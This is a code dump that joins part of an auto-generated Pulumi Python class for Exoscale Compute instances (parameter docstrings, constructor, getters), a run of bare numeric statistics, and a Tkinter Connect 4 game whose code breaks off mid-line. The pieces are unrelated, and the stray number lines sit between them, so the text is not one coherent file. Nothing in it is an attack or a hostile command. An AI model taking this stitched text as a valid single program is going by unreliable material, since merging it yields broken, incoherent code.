Compute instance can be imported as a resource by name or IDconsole # By name ```sh $ pulumi import exoscale:index/compute:Compute vm1 vm1 ``` # By ID ```sh $ pulumi import exoscale:index/compute:Compute vm1 eb556678-ec59-4be6-8c54-0406ae0f6da6 ``` [cloudinit]http://cloudinit.readthedocs.io/en/latest/ [compute-doc]https://community.exoscale.com/documentation/compute/ [d-compute_template]../d/compute_template.html [r-affinity]affinity.html [r-nic]nic.html [r-secondary_ipaddress]secondary_ipaddress.html [r-security_group]security_group.html [remote-exec]https://www.terraform.io/docs/provisioners/remote-exec.html [size]https://www.exoscale.com/pricing/#/compute/ [sshkeypair-doc]https://community.exoscale.com/documentation/compute/ssh-keypairs/ [template]https://www.exoscale.com/templates/ [zone]https://www.exoscale.com/datacenters/ :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[Sequence[pulumi.Input[str]]] affinity_group_ids: A list of [Anti-Affinity Group][r-affinity] IDs (at creation time only; conflicts with `affinity_groups`). :param pulumi.Input[Sequence[pulumi.Input[str]]] affinity_groups: A list of [Anti-Affinity Group][r-affinity] names (at creation time only; conflicts with `affinity_group_ids`). :param pulumi.Input[int] disk_size: The Compute instance root disk size in GiB (at least `10`). :param pulumi.Input[str] display_name: The displayed name of the Compute instance. Note: if the `hostname` attribute is not set, this attribute is also used to set the OS' *hostname* during creation, so the value must contain only alphanumeric and hyphen ("-") characters; it can be changed to any character during a later update. If neither `display_name` or `hostname` attributes are set, a random value will be generated automatically server-side. :param pulumi.Input[str] hostname: The Compute instance hostname, must contain only alphanumeric and hyphen ("-") characters. If neither `display_name` or `hostname` attributes are set, a random value will be generated automatically server-side. Note: updating this attribute's value requires to reboot the instance. :param pulumi.Input[bool] ip4: Boolean controlling if IPv4 is enabled (only supported value is `true`). :param pulumi.Input[bool] ip6: Boolean controlling if IPv6 is enabled. :param pulumi.Input[str] key_pair: The name of the [SSH key pair][sshkeypair-doc] to be installed. :param pulumi.Input[str] keyboard: The keyboard layout configuration (at creation time only). Supported values are: `de`, `de-ch`, `es`, `fi`, `fr`, `fr-be`, `fr-ch`, `is`, `it`, `jp`, `nl-be`, `no`, `pt`, `uk`, `us`. :param pulumi.Input[str] reverse_dns: The reverse DNS record of the Compute instance (must end with a `.`, e.g: `my-server.example.net.`). :param pulumi.Input[Sequence[pulumi.Input[str]]] security_group_ids: A list of [Security Group][r-security_group] IDs (conflicts with `security_groups`). :param pulumi.Input[Sequence[pulumi.Input[str]]] security_groups: A list of [Security Group][r-security_group] names (conflicts with `security_group_ids`). :param pulumi.Input[str] size: The Compute instance [size][size], e.g. `Tiny`, `Small`, `Medium`, `Large` etc. :param pulumi.Input[str] state: The state of the Compute instance, e.g. `Running` or `Stopped` :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A dictionary of tags (key/value). To remove all tags, set `tags = {}`. :param pulumi.Input[str] template: The name of the Compute instance [template][template]. Only *featured* templates are available, if you want to reference *custom templates* use the `template_id` attribute instead. :param pulumi.Input[str] template_id: The ID of the Compute instance [template][template]. Usage of the [`compute_template`][d-compute_template] data source is recommended. :param pulumi.Input[str] user_data: A [cloud-init][cloudinit] configuration. Whenever possible don't base64-encode neither gzip it yourself, as this will be automatically taken care of on your behalf by the provider. :param pulumi.Input[str] zone: The name of the [zone][zone] to deploy the Compute instance into. """ ... @overload def __init__(__self__, resource_name: str, args: ComputeArgs, opts: Optional[pulumi.ResourceOptions] = None): """ Provides an Exoscale [Compute instance][compute-doc] resource. This can be used to create, modify, and delete Compute instances. !> **WARNING:** This resource is deprecated and will be removed in the next major version. ## Import An existing Compute instance can be imported as a resource by name or IDconsole # By name ```sh $ pulumi import exoscale:index/compute:Compute vm1 vm1 ``` # By ID ```sh $ pulumi import exoscale:index/compute:Compute vm1 eb556678-ec59-4be6-8c54-0406ae0f6da6 ``` [cloudinit]http://cloudinit.readthedocs.io/en/latest/ [compute-doc]https://community.exoscale.com/documentation/compute/ [d-compute_template]../d/compute_template.html [r-affinity]affinity.html [r-nic]nic.html [r-secondary_ipaddress]secondary_ipaddress.html [r-security_group]security_group.html [remote-exec]https://www.terraform.io/docs/provisioners/remote-exec.html [size]https://www.exoscale.com/pricing/#/compute/ [sshkeypair-doc]https://community.exoscale.com/documentation/compute/ssh-keypairs/ [template]https://www.exoscale.com/templates/ [zone]https://www.exoscale.com/datacenters/ :param str resource_name: The name of the resource. :param ComputeArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(ComputeArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, affinity_group_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, affinity_groups: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, disk_size: Optional[pulumi.Input[int]] = None, display_name: Optional[pulumi.Input[str]] = None, hostname: Optional[pulumi.Input[str]] = None, ip4: Optional[pulumi.Input[bool]] = None, ip6: Optional[pulumi.Input[bool]] = None, key_pair: Optional[pulumi.Input[str]] = None, keyboard: Optional[pulumi.Input[str]] = None, reverse_dns: Optional[pulumi.Input[str]] = None, security_group_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, security_groups: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, size: Optional[pulumi.Input[str]] = None, state: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, template: Optional[pulumi.Input[str]] = None, template_id: Optional[pulumi.Input[str]] = None, user_data: Optional[pulumi.Input[str]] = None, zone: Optional[pulumi.Input[str]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = ComputeArgs.__new__(ComputeArgs) __props__.__dict__["affinity_group_ids"] = affinity_group_ids __props__.__dict__["affinity_groups"] = affinity_groups if disk_size is None and not opts.urn: raise TypeError("Missing required property 'disk_size'") __props__.__dict__["disk_size"] = disk_size __props__.__dict__["display_name"] = display_name __props__.__dict__["hostname"] = hostname __props__.__dict__["ip4"] = ip4 __props__.__dict__["ip6"] = ip6 __props__.__dict__["key_pair"] = key_pair __props__.__dict__["keyboard"] = keyboard __props__.__dict__["reverse_dns"] = reverse_dns __props__.__dict__["security_group_ids"] = security_group_ids __props__.__dict__["security_groups"] = security_groups __props__.__dict__["size"] = size __props__.__dict__["state"] = state __props__.__dict__["tags"] = tags __props__.__dict__["template"] = template __props__.__dict__["template_id"] = template_id __props__.__dict__["user_data"] = user_data if zone is None and not opts.urn: raise TypeError("Missing required property 'zone'") __props__.__dict__["zone"] = zone __props__.__dict__["gateway"] = None __props__.__dict__["ip6_address"] = None __props__.__dict__["ip6_cidr"] = None __props__.__dict__["ip_address"] = None __props__.__dict__["name"] = None __props__.__dict__["password"] = None __props__.__dict__["user_data_base64"] = None __props__.__dict__["username"] = None super(Compute, __self__).__init__( 'exoscale:index/compute:Compute', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, affinity_group_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, affinity_groups: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, disk_size: Optional[pulumi.Input[int]] = None, display_name: Optional[pulumi.Input[str]] = None, gateway: Optional[pulumi.Input[str]] = None, hostname: Optional[pulumi.Input[str]] = None, ip4: Optional[pulumi.Input[bool]] = None, ip6: Optional[pulumi.Input[bool]] = None, ip6_address: Optional[pulumi.Input[str]] = None, ip6_cidr: Optional[pulumi.Input[str]] = None, ip_address: Optional[pulumi.Input[str]] = None, key_pair: Optional[pulumi.Input[str]] = None, keyboard: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, password: Optional[pulumi.Input[str]] = None, reverse_dns: Optional[pulumi.Input[str]] = None, security_group_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, security_groups: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, size: Optional[pulumi.Input[str]] = None, state: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, template: Optional[pulumi.Input[str]] = None, template_id: Optional[pulumi.Input[str]] = None, user_data: Optional[pulumi.Input[str]] = None, user_data_base64: Optional[pulumi.Input[bool]] = None, username: Optional[pulumi.Input[str]] = None, zone: Optional[pulumi.Input[str]] = None) -> 'Compute': """ Get an existing Compute resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[Sequence[pulumi.Input[str]]] affinity_group_ids: A list of [Anti-Affinity Group][r-affinity] IDs (at creation time only; conflicts with `affinity_groups`). :param pulumi.Input[Sequence[pulumi.Input[str]]] affinity_groups: A list of [Anti-Affinity Group][r-affinity] names (at creation time only; conflicts with `affinity_group_ids`). :param pulumi.Input[int] disk_size: The Compute instance root disk size in GiB (at least `10`). :param pulumi.Input[str] display_name: The displayed name of the Compute instance. Note: if the `hostname` attribute is not set, this attribute is also used to set the OS' *hostname* during creation, so the value must contain only alphanumeric and hyphen ("-") characters; it can be changed to any character during a later update. If neither `display_name` or `hostname` attributes are set, a random value will be generated automatically server-side. :param pulumi.Input[str] hostname: The Compute instance hostname, must contain only alphanumeric and hyphen ("-") characters. If neither `display_name` or `hostname` attributes are set, a random value will be generated automatically server-side. Note: updating this attribute's value requires to reboot the instance. :param pulumi.Input[bool] ip4: Boolean controlling if IPv4 is enabled (only supported value is `true`). :param pulumi.Input[bool] ip6: Boolean controlling if IPv6 is enabled. :param pulumi.Input[str] ip6_address: The IPv6 address of the Compute instance main network interface. :param pulumi.Input[str] ip_address: The IP address of the Compute instance main network interface. :param pulumi.Input[str] key_pair: The name of the [SSH key pair][sshkeypair-doc] to be installed. :param pulumi.Input[str] keyboard: The keyboard layout configuration (at creation time only). Supported values are: `de`, `de-ch`, `es`, `fi`, `fr`, `fr-be`, `fr-ch`, `is`, `it`, `jp`, `nl-be`, `no`, `pt`, `uk`, `us`. :param pulumi.Input[str] name: **Deprecated** The Compute instance *hostname*. Use the `hostname` attribute instead. :param pulumi.Input[str] password: The initial Compute instance password and/or encrypted password. :param pulumi.Input[str] reverse_dns: The reverse DNS record of the Compute instance (must end with a `.`, e.g: `my-server.example.net.`). :param pulumi.Input[Sequence[pulumi.Input[str]]] security_group_ids: A list of [Security Group][r-security_group] IDs (conflicts with `security_groups`). :param pulumi.Input[Sequence[pulumi.Input[str]]] security_groups: A list of [Security Group][r-security_group] names (conflicts with `security_group_ids`). :param pulumi.Input[str] size: The Compute instance [size][size], e.g. `Tiny`, `Small`, `Medium`, `Large` etc. :param pulumi.Input[str] state: The state of the Compute instance, e.g. `Running` or `Stopped` :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A dictionary of tags (key/value). To remove all tags, set `tags = {}`. :param pulumi.Input[str] template: The name of the Compute instance [template][template]. Only *featured* templates are available, if you want to reference *custom templates* use the `template_id` attribute instead. :param pulumi.Input[str] template_id: The ID of the Compute instance [template][template]. Usage of the [`compute_template`][d-compute_template] data source is recommended. :param pulumi.Input[str] user_data: A [cloud-init][cloudinit] configuration. Whenever possible don't base64-encode neither gzip it yourself, as this will be automatically taken care of on your behalf by the provider. :param pulumi.Input[bool] user_data_base64: was the cloud-init configuration base64 encoded :param pulumi.Input[str] username: The user to use to connect to the Compute instance with SSH. If you've referenced a *custom template* in the resource, use the [`compute_template`][d-compute_template] data source `username` attribute instead. :param pulumi.Input[str] zone: The name of the [zone][zone] to deploy the Compute instance into. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _ComputeState.__new__(_ComputeState) __props__.__dict__["affinity_group_ids"] = affinity_group_ids __props__.__dict__["affinity_groups"] = affinity_groups __props__.__dict__["disk_size"] = disk_size __props__.__dict__["display_name"] = display_name __props__.__dict__["gateway"] = gateway __props__.__dict__["hostname"] = hostname __props__.__dict__["ip4"] = ip4 __props__.__dict__["ip6"] = ip6 __props__.__dict__["ip6_address"] = ip6_address __props__.__dict__["ip6_cidr"] = ip6_cidr __props__.__dict__["ip_address"] = ip_address __props__.__dict__["key_pair"] = key_pair __props__.__dict__["keyboard"] = keyboard __props__.__dict__["name"] = name __props__.__dict__["password"] = password __props__.__dict__["reverse_dns"] = reverse_dns __props__.__dict__["security_group_ids"] = security_group_ids __props__.__dict__["security_groups"] = security_groups __props__.__dict__["size"] = size __props__.__dict__["state"] = state __props__.__dict__["tags"] = tags __props__.__dict__["template"] = template __props__.__dict__["template_id"] = template_id __props__.__dict__["user_data"] = user_data __props__.__dict__["user_data_base64"] = user_data_base64 __props__.__dict__["username"] = username __props__.__dict__["zone"] = zone return Compute(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter(name="affinityGroupIds") def affinity_group_ids(self) -> pulumi.Output[Sequence[str]]: """ A list of [Anti-Affinity Group][r-affinity] IDs (at creation time only; conflicts with `affinity_groups`). """ return pulumi.get(self, "affinity_group_ids") @property @pulumi.getter(name="affinityGroups") def affinity_groups(self) -> pulumi.Output[Sequence[str]]: """ A list of [Anti-Affinity Group][r-affinity] names (at creation time only; conflicts with `affinity_group_ids`). """ return pulumi.get(self, "affinity_groups") @property @pulumi.getter(name="diskSize") def disk_size(self) -> pulumi.Output[int]: """ The Compute instance root disk size in GiB (at least `10`). """ return pulumi.get(self, "disk_size") @property @pulumi.getter(name="displayName") def display_name(self) -> pulumi.Output[str]: """ The displayed name of the Compute instance. Note: if the `hostname` attribute is not set, this attribute is also used to set the OS' *hostname* during creation, so the value must contain only alphanumeric and hyphen ("-") characters; it can be changed to any character during a later update. If neither `display_name` or `hostname` attributes are set, a random value will be generated automatically server-side. """ return pulumi.get(self, "display_name") @property @pulumi.getter def gateway(self) -> pulumi.Output[str]: return pulumi.get(self, "gateway") @property @pulumi.getter def hostname(self) -> pulumi.Output[str]: """ The Compute instance hostname, must contain only alphanumeric and hyphen ("-") characters. If neither `display_name` or `hostname` attributes are set, a random value will be generated automatically server-side. Note: updating this attribute's value requires to reboot the instance. """ return pulumi.get(self, "hostname") @property @pulumi.getter def ip4(self) -> pulumi.Output[Optional[bool]]: """ Boolean controlling if IPv4 is enabled (only supported value is `true`). """ return pulumi.get(self, "ip4") @property @pulumi.getter def ip6(self) -> pulumi.Output[Optional[bool]]: """ Boolean controlling if IPv6 is enabled. """ return pulumi.get(self, "ip6") @property @pulumi.getter(name="ip6Address") def ip6_address(self) -> pulumi.Output[str]: """ The IPv6 address of the Compute instance main network interface. """ return pulumi.get(self, "ip6_address") @property @pulumi.getter(name="ip6Cidr") def ip6_cidr(self) -> pulumi.Output[str]: return pulumi.get(self, "ip6_cidr") @property @pulumi.getter(name="ipAddress") def ip_address(self) -> pulumi.Output[str]: """ The IP address of the Compute instance main network interface. """ return pulumi.get(self, "ip_address") @property @pulumi.getter(name="keyPair") def key_pair(self) -> pulumi.Output[Optional[str]]: """ The name of the [SSH key pair][sshkeypair-doc] to be installed. """ return pulumi.get(self, "key_pair") @property @pulumi.getter def keyboard(self) -> pulumi.Output[Optional[str]]: """ The keyboard layout configuration (at creation time only). Supported values are: `de`, `de-ch`, `es`, `fi`, `fr`, `fr-be`, `fr-ch`, `is`, `it`, `jp`, `nl-be`, `no`, `pt`, `uk`, `us`. """ return pulumi.get(self, "keyboard") @property @pulumi.getter def name(self) -> pulumi.Output[str]: """ **Deprecated** The Compute instance *hostname*. Use the `hostname` attribute instead. """ return pulumi.get(self, "name") @property @pulumi.getter def password(self) -> pulumi.Output[str]: """ The initial Compute instance password and/or encrypted password. """ return pulumi.get(self, "password") @property @pulumi.getter(name="reverseDns") def reverse_dns(self) -> pulumi.Output[Optional[str]]: """ The reverse DNS record of the Compute instance (must end with a `.`, e.g: `my-server.example.net.`). """ return pulumi.get(self, "reverse_dns") @property @pulumi.getter(name="securityGroupIds") def security_group_ids(self) -> pulumi.Output[Sequence[str]]: """ A list of [Security Group][r-security_group] IDs (conflicts with `security_groups`). """ return pulumi.get(self, "security_group_ids") @property @pulumi.getter(name="securityGroups") def security_groups(self) -> pulumi.Output[Sequence[str]]: """ A list of [Security Group][r-security_group] names (conflicts with `security_group_ids`). """ return pulumi.get(self, "security_groups") @property @pulumi.getter def size(self) -> pulumi.Output[Optional[str]]: """ The Compute instance [size][size], e.g. `Tiny`, `Small`, `Medium`, `Large` etc. """ return pulumi.get(self, "size") @property @pulumi.getter def state(self) -> pulumi.Output[str]: """ The state of the Compute instance, e.g. `Running` or `Stopped` """ return pulumi.get(self, "state") @property @pulumi.getter def tags(self) -> pulumi.Output[Mapping[str, str]]: """ A dictionary of tags (key/value). To remove all tags, set `tags = {}`. """ return pulumi.get(self, "tags") @property @pulumi.getter def template(self) -> pulumi.Output[str]: """ The name of the Compute instance [template][template]. Only *featured* templates are available, if you want to reference *custom templates* use the `template_id` attribute instead. """ return pulumi.get(self, "template") @property @pulumi.getter(name="templateId") def template_id(self) -> pulumi.Output[str]: """ The ID of the Compute instance [template][template]. Usage of the [`compute_template`][d-compute_template] data source is recommended. """ return pulumi.get(self, "template_id") @property @pulumi.getter(name="userData") def user_data(self) -> pulumi.Output[Optional[str]]: """ A [cloud-init][cloudinit] configuration. Whenever possible don't base64-encode neither gzip it yourself, as this will be automatically taken care of on your behalf by the provider. """ return pulumi.get(self, "user_data") @property @pulumi.getter(name="userDataBase64") def user_data_base64(self) -> pulumi.Output[bool]: """ was the cloud-init configuration base64 encoded """ return pulumi.get(self, "user_data_base64") @property @pulumi.getter def username(self) -> pulumi.Output[str]: """ The user to use to connect to the Compute instance with SSH. If you've referenced a *custom template* in the resource, use the [`compute_template`][d-compute_template] data source `username` attribute instead. """ return pulumi.get(self, "username") @property @pulumi.getter def zone(self) -> pulumi.Output[str]: """ The name of the [zone][zone] to deploy the Compute instance into. """ return pulumi.get(self, "zone")
51.063403
600
0.652008
8,027
63,625
5.002367
0.040987
0.09862
0.086467
0.067938
0.941799
0.92982
0.909374
0.899113
0.889152
0.865343
0
0.004819
0.227096
63,625
1,245
601
51.104418
0.811717
0.403631
0
0.799202
1
0
0.082922
0.00085
0
0
0
0
0
1
0.167553
false
0.018617
0.006649
0.005319
0.276596
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
0cbf0cf9c9125cb267a4d16e27f2d5c8c1538765
20,276
py
Python
gamegui.py
saiduc/Connect-4-Tkinter
b056467f05d06ae0f377fc99f028b28911857701
[ "MIT" ]
2
2019-11-10T13:57:11.000Z
2022-01-24T19:53:43.000Z
gamegui.py
saiduc/Connect-4-Tkinter
b056467f05d06ae0f377fc99f028b28911857701
[ "MIT" ]
null
null
null
gamegui.py
saiduc/Connect-4-Tkinter
b056467f05d06ae0f377fc99f028b28911857701
[ "MIT" ]
null
null
null
import platform import matplotlib from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg from matplotlib.figure import Figure import tkinter as tk from tkinter import ttk import connect4module as c4 matplotlib.use("TkAgg") large = ("ComicSansMS", 40) med = ("ComicSansMS", 30) small = ("ComicSansMS", 20) class Connect4App(tk.Tk): """ Controller class, will control whole application """ def __init__(self): # create window that will display all the frames tk.Tk.__init__(self) tk.Tk.wm_title(self, "Connect 4 Game") container = tk.Frame(self) container.pack(side="top", fill="both", expand=True) container.grid_rowconfigure(0, weight=1) container.grid_columnconfigure(0, weight=1) # dictionary with all frames in the app listed self.frames = {} # creates each page and adds it to container for f in (StartPage, TossPage, BoardPageLose, BoardPageWin): frame = f(container, self) self.frames[f] = frame # adds pages to dictionary frame.grid(row=0, column=0, sticky="nsew") self.show_frame(StartPage) # raises necessary page to top to see def show_frame(self, page): frame = self.frames[page] frame.tkraise() class StartPage(tk.Frame): """ Start Page, contains welcome screen and button to start """ def __init__(self, window, controller): ttk.Frame.__init__(self, window) self.grid_columnconfigure(1, weight=1) title = ttk.Label(self, text="Welcome to Connect 4!", font=large) title.grid(row=1, column=1) button_continue = ttk.Button(self, text="Begin", command=lambda: controller.show_frame(TossPage)) button_continue.grid(row=2, column=1) class TossPage(tk.Frame): """ Toss Page, contains coin toss function """ def __init__(self, window, controller): ttk.Frame.__init__(self, window) self.grid_columnconfigure(1, weight=1) title = ttk.Label(self, text="Coin Toss", font=large) title.grid(row=1, column=1) toss = ttk.Label(self, text="Choose heads or tails", font=med) toss.grid(row=2, column=1) # makes buttons for heads and tails button_heads = ttk.Button(self, text="Heads", command=lambda: self.heads(outcome, nextstep, button_heads, button_tails, button_win, button_lose), width=6) button_tails = ttk.Button(self, text="Tails", command=lambda: self.tails(outcome, nextstep, button_heads, button_tails, button_win, button_lose), width=6) button_heads.grid(row=3, column=1) button_tails.grid(row=4, column=1) # empty labels that will be updated with outcome after user selects outcome = ttk.Label(self, text="", font=med) outcome.grid(row=6, column=1) nextstep = ttk.Label(self, text="", font=med) nextstep.grid(row=7, column=1) # Hidden buttons that becomes visible after user makes selection button_win = ttk.Button(self, text="Continue", command=lambda: controller.show_frame(BoardPageWin)) button_lose = ttk.Button(self, text="Continue", command=lambda: controller.show_frame(BoardPageLose)) def heads(self, outcome, nextstep, button_heads, button_tails, button_win, button_lose): """ Runs cointoss function in connect4module with chosen call = 1 Updates buttons to have no function, so user cannot reselect Updates labels to show outcome of coin toss Makes relevant continue button visible """ call = 1 result = c4.cointoss(call) button_tails.configure(text="", command=donothing) button_heads.configure(command=donothing) if result == True: outcome.configure(text="You won the toss!") nextstep.configure(text="You will play first") button_win.grid(row=8, column=1) else: outcome.configure(text="You lost the toss!") nextstep.configure(text="The computer will play first") button_lose.grid(row=8, column=1) outcome.update() nextstep.update() button_heads.update() button_tails.update() return def tails(self, outcome, nextstep, button_heads, button_tails, button_win, button_lose): """ Runs cointoss function in connect4module with chosen call = 0 Updates buttons to have no function, so user cannot reselect Updates labels to show outcome of coin toss Makes relevant continue button visible """ call = 0 result = c4.cointoss(call) button_heads.configure(text="", command=donothing) button_tails.configure(command=donothing) if result == True: outcome.configure(text="You won the toss!") nextstep.configure(text="You will play first") button_win.grid(row=8, column=1) else: outcome.configure(text="You lost the toss!") nextstep.configure(text="The computer will play first") button_lose.grid(row=8, column=1) outcome.update() nextstep.update() button_heads.update() button_tails.update() return class BoardPageLose(tk.Frame): """ Board Page, contains main game If player lost toss """ def __init__(self, window, controller): ttk.Frame.__init__(self, window) title = ttk.Label( self, text="Connect 4 Game", font=large) title.grid(row=1, column=1) board = c4.makearrayboard() computercolumn = c4.decidecomputermove(board) while c4.checkifvalid(board, computercolumn) != True: computercolumn = c4.decidecomputermove(board) c4.docomputermove(board, computercolumn) graph = c4.plotgraphicalboard(board) canvas = FigureCanvasTkAgg(graph, self) canvas.draw() canvas.get_tk_widget().grid(row=2, column=1) separator = ttk.Label(self, text=" ", font=small) separator.grid(row=3, column=1) statement = ttk.Label(self, text="Choose a column", font=med) statement.grid(row=4, column=1) button_a = ttk.Button(self, text="a", command=lambda: self.choose_a(board, buttons, statement), width=1) button_b = ttk.Button(self, text="b", command=lambda: self.choose_b(board, buttons, statement), width=1) button_c = ttk.Button(self, text="c", command=lambda: self.choose_c(board, buttons, statement), width=1) button_d = ttk.Button(self, text="d", command=lambda: self.choose_d(board, buttons, statement), width=1) button_e = ttk.Button(self, text="e", command=lambda: self.choose_e(board, buttons, statement), width=1) button_f = ttk.Button(self, text="f", command=lambda: self.choose_f(board, buttons, statement), width=1) button_g = ttk.Button(self, text="g", command=lambda: self.choose_g(board, buttons, statement), width=1) if platform.system() == "Windows": button_a.place(x=68, y=410) button_b.place(x=111, y=410) button_c.place(x=154, y=410) button_d.place(x=197, y=410) button_e.place(x=240, y=410) button_f.place(x=283, y=410) button_g.place(x=327, y=410) else: button_a.place(x=25, y=410) button_b.place(x=68, y=410) button_c.place(x=111, y=410) button_d.place(x=154, y=410) button_e.place(x=197, y=410) button_f.place(x=240, y=410) button_g.place(x=283, y=410) buttons = [button_a, button_b, button_c, button_d, button_e, button_f, button_g] def choose_a(self, board, buttons, statement): usercolumn = 0 if c4.checkifvalid(board, usercolumn) == True: c4.dousermove(board, 0) self.continuegame(board, buttons, statement) def choose_b(self, board, buttons, statement): usercolumn = 1 if c4.checkifvalid(board, usercolumn) == True: c4.dousermove(board, 1) self.continuegame(board, buttons, statement) def choose_c(self, board, buttons, statement): usercolumn = 2 if c4.checkifvalid(board, usercolumn) == True: c4.dousermove(board, 2) self.continuegame(board, buttons, statement) def choose_d(self, board, buttons, statement): usercolumn = 3 if c4.checkifvalid(board, usercolumn) == True: c4.dousermove(board, 3) self.continuegame(board, buttons, statement) def choose_e(self, board, buttons, statement): usercolumn = 4 if c4.checkifvalid(board, usercolumn) == True: c4.dousermove(board, 4) self.continuegame(board, buttons, statement) def choose_f(self, board, buttons, statement): usercolumn = 5 if c4.checkifvalid(board, usercolumn) == True: c4.dousermove(board, 5) self.continuegame(board, buttons, statement) def choose_g(self, board, buttons, statement): usercolumn = 6 if c4.checkifvalid(board, usercolumn) == True: c4.dousermove(board, 6) self.continuegame(board, buttons, statement) def continuegame(self, board, buttons, statement): """ Main game function. Checks the gamestate to see if game is over If game is not over, makes the computer move and checks again If game is still not over, allows player to make another move If game is over, displays the appropriate labels Makes all buttons useless game is over """ gamestate = c4.checkgamestate(board) if gamestate == 0: computercolumn = c4.decidecomputermove(board) while c4.checkifvalid(board, computercolumn) != True: computercolumn = c4.decidecomputermove(board) c4.docomputermove(board, computercolumn) gamestate = c4.checkgamestate(board) graph = c4.plotgraphicalboard(board) canvas = FigureCanvasTkAgg(graph, self) canvas.draw() canvas.get_tk_widget().grid(row=2, column=1) if gamestate == 1: graph = c4.plotgraphicalboard(board) canvas = FigureCanvasTkAgg(graph, self) canvas.draw() canvas.get_tk_widget().grid(row=2, column=1) buttons[0].configure(command=donothing) buttons[1].configure(command=donothing) buttons[2].configure(command=donothing) buttons[3].configure(command=donothing) buttons[4].configure(command=donothing) buttons[5].configure(command=donothing) buttons[6].configure(command=donothing) buttons[0].update() buttons[1].update() buttons[2].update() buttons[3].update() buttons[4].update() buttons[5].update() buttons[6].update() statement.configure(text="You Won!") statement.update() print("You win") if gamestate == 2: buttons[0].configure(command=donothing) buttons[1].configure(command=donothing) buttons[2].configure(command=donothing) buttons[3].configure(command=donothing) buttons[4].configure(command=donothing) buttons[5].configure(command=donothing) buttons[6].configure(command=donothing) buttons[0].update() buttons[1].update() buttons[2].update() buttons[3].update() buttons[4].update() buttons[5].update() buttons[6].update() statement.configure(text="You Lost!") statement.update() print("You lose") if gamestate == 3: graph = c4.plotgraphicalboard(board) canvas = FigureCanvasTkAgg(graph, self) canvas.draw() canvas.get_tk_widget().grid(row=2, column=1) statement.configure(text="It's a draw!") statement.update() print("You draw") class BoardPageWin(tk.Frame): """ Board Page, contains main game If player won toss """ def __init__(self, window, controller): ttk.Frame.__init__(self, window) title = ttk.Label(self, text="Connect 4 Game", font=large) title.grid(row=1, column=1) board = c4.makearrayboard() graph = c4.plotgraphicalboard(board) canvas = FigureCanvasTkAgg(graph, self) canvas.draw() canvas.get_tk_widget().grid(row=2, column=1) separator = ttk.Label(self, text=" ", font=small) separator.grid(row=3, column=1) statement = ttk.Label(self, text="Choose a column", font=med) statement.grid(row=4, column=1) button_a = ttk.Button(self, text="a", command=lambda: self.choose_a(board, buttons, statement), width=1) button_b = ttk.Button(self, text="b", command=lambda: self.choose_b(board, buttons, statement), width=1) button_c = ttk.Button(self, text="c", command=lambda: self.choose_c(board, buttons, statement), width=1) button_d = ttk.Button(self, text="d", command=lambda: self.choose_d(board, buttons, statement), width=1) button_e = ttk.Button(self, text="e", command=lambda: self.choose_e(board, buttons, statement), width=1) button_f = ttk.Button(self, text="f", command=lambda: self.choose_f(board, buttons, statement), width=1) button_g = ttk.Button(self, text="g", command=lambda: self.choose_g(board, buttons, statement), width=1) if platform.system() == "Windows": button_a.place(x=68, y=410) button_b.place(x=111, y=410) button_c.place(x=154, y=410) button_d.place(x=197, y=410) button_e.place(x=240, y=410) button_f.place(x=283, y=410) button_g.place(x=327, y=410) else: button_a.place(x=25, y=410) button_b.place(x=68, y=410) button_c.place(x=111, y=410) button_d.place(x=154, y=410) button_e.place(x=197, y=410) button_f.place(x=240, y=410) button_g.place(x=283, y=410) buttons = [button_a, button_b, button_c, button_d, button_e, button_f, button_g] def choose_a(self, board, buttons, statement): usercolumn = 0 if c4.checkifvalid(board, usercolumn) == True: c4.dousermove(board, 0) self.continuegame(board, buttons, statement) def choose_b(self, board, buttons, statement): usercolumn = 1 if c4.checkifvalid(board, usercolumn) == True: c4.dousermove(board, 1) self.continuegame(board, buttons, statement) def choose_c(self, board, buttons, statement): usercolumn = 2 if c4.checkifvalid(board, usercolumn) == True: c4.dousermove(board, 2) self.continuegame(board, buttons, statement) def choose_d(self, board, buttons, statement): usercolumn = 3 if c4.checkifvalid(board, usercolumn) == True: c4.dousermove(board, 3) self.continuegame(board, buttons, statement) def choose_e(self, board, buttons, statement): usercolumn = 4 if c4.checkifvalid(board, usercolumn) == True: c4.dousermove(board, 4) self.continuegame(board, buttons, 